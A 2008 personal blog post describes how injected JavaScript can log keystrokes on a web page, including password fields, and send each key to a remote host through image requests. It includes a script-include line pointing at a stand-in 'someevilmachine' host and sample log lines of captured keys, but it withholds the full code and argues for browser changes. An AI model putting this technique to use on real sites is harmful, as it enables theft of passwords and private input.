Keylogging in Javascript (or “Why the fsck does a password field send the keypress value?”)

# on May 30th 2008 at 12:39 pm in Ideas & Concepts, Internet & Technology, Security & Privacy

Disclaimer: The information in here is purely educational, yada yada yada.

And… it’s not people that abuse things who harm people — it’s the people that put those things there without thinking.


An explaination: I have always been intrigued by HTML forms. As a paranoid person, I have always wondered whether companies or websites are logging keypresses to their website. Picture the situation where you want to leave feedback at a site… but finally do not hit the “Send” button because of various reasons, like, for instance, the tone was too harsh so you decide not to. For the website it could have been very useful information: unsent comment or feedback may be more valuable than the ones that are actually arriving in their inboxes.

That was quite some time ago — and I didn’t give it any more thought until recently… See, I noticed that, for instance when I have worked the whole day, or the operating system is just acting up, sometimes the wrong window has the focus, and I am happily typing away, seeing nothing appear in the window I was staring at…. (Yeh, it happens.)

Now, there could be even more valuable information! Interesting bits of text, login names — or even better, accidentally typed passwords!

With that in my paranoid mind, I started tinkering around with Javascript to see if this is actually possible… I quickly put together some rather trivial code that captures the KeyboardEvent, inspects it, and collects them all into a string. Through the body’s onunload I called a routine that displayed an alert saying something like “Hey, you left these keypresses at this website: the collected string“.

Using the onunload however has several drawbacks:
- it isn’t always called (for instance, when the browser crashes),
- it seems the body’s onunload can only be set when the document is generated, that kinda sucks if you wanted to do be able to do the keylogging by simply loading some remotely stored Javascript file.

The curious and experimenting person that I am, I realised a bad guy would be not collecting the information and printing it — but would be sending them to a remote machine. Hmm, a remote machine, so AJAX won’t do… but there are always images…. What if I dynamically create an image, with a src pointing to some other website, with the pressed character in the GET request? Nice and simple, right?

OK, so now the keylogger is loaded and active when the following line is somehow inserted into a website:

<script type=”text/javascript” src=”http://someevilmachine/wtfjs.php”></script>

This simple single script, when loaded, attaches itself to the keyPressDown event of the document, of course remembering any old setting so to be able to pass the event through to any “local” code on the target website, as an attempt to go “undetected”.

Also, modern websites have all kinds of Javascript running, and could do some additional “setting up” from Javascript from which the event handlers get set… In an attempt to take this into account, the logger attaches itself after a delay of a given amount of milliseconds. After that, the moment a keypress event is received in the window, the requests appear in the logfile on the remote website (obligatory dump follows):

GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 -
GET /temp/wtfimg.php?c=s HTTP/1.1″ 200 -
GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 -

The drawback to the method currently, is that it sends a request with every keystroke made, which may be noticed by the more adept computer user… it would be possible to send collected strings at a given interval… But really, actually building a succesful keylogger isn’t the point; the point was figuring out if it is really doable (which, non-surprisingly, it is).

By the way, I’m rightly aware of the fact that I am discussing nothing really new here — this is absolutely no cutting-edge stuff. More interestingly, this has probably already been done by bad guys for ages.

On some websites with many authors that incidentally have the permission to insert Javascript, these “lower level” users could be able to catch passwords of administrative users, et cetera.

All-in-all, the only thing I am really frigging flabbergasted at, is the fact that an <input type="password"> actually sends the pressed key in a keypress event… WTF!? Knowing this, and wanting to “protect” a password entry field, I tried it by giving it its own onkeypress-handler….. I figured that it would get precendence over the documents’ keypress, but alas, it doesn’t

It seems that there is no way to guard against this, other than to re-set your “local” event handlers regularly (which is no solution but a hack!)…

In conclusion, I really think that the password input type should somehow be prevented from putting any valid information about the pressed key into the KeyboardEvent. I know it’s used for comparing 2 passwords to validate a user’s password change for instance — but some hash could perfectly suffice there.

I am convinced the website-scripter should not ever have to have access to the real password entered in that field from Javascript — thinking that that could achieve some ‘protection’ is a flawed train of thought anyways…

Oh by the way, if you are looking for code: I will not release it here. It really isn’t difficult to cook some up yourself.

- Navaho Gunleg
comment on this article

Notice: All comments are moderated. Your comment will appear once approved.

© 2005-2008. All remarks and opinions on this site are the intellectual property of Navaho Gunleg, unless specified otherwise. If you find anything offensive or other wise insulting, just close the damn window.